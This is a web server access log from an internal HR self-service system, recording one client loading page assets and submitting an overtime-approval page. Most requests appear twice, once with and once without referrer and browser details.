192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:33:01 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:33:01 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:33:01 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:33:01 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:33:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:33:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:33:01 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:33:01 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:33:01 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:33:01 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:33:01 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:33:01 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:33:01 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:33:01 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:33:01 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:33:01 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:33:01 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:33:01 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:33:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1140501 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:33:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1140501
192.168.11.104 - - [06/Sep/2025:11:33:49 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:33:49 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:33:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:11:33:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 -
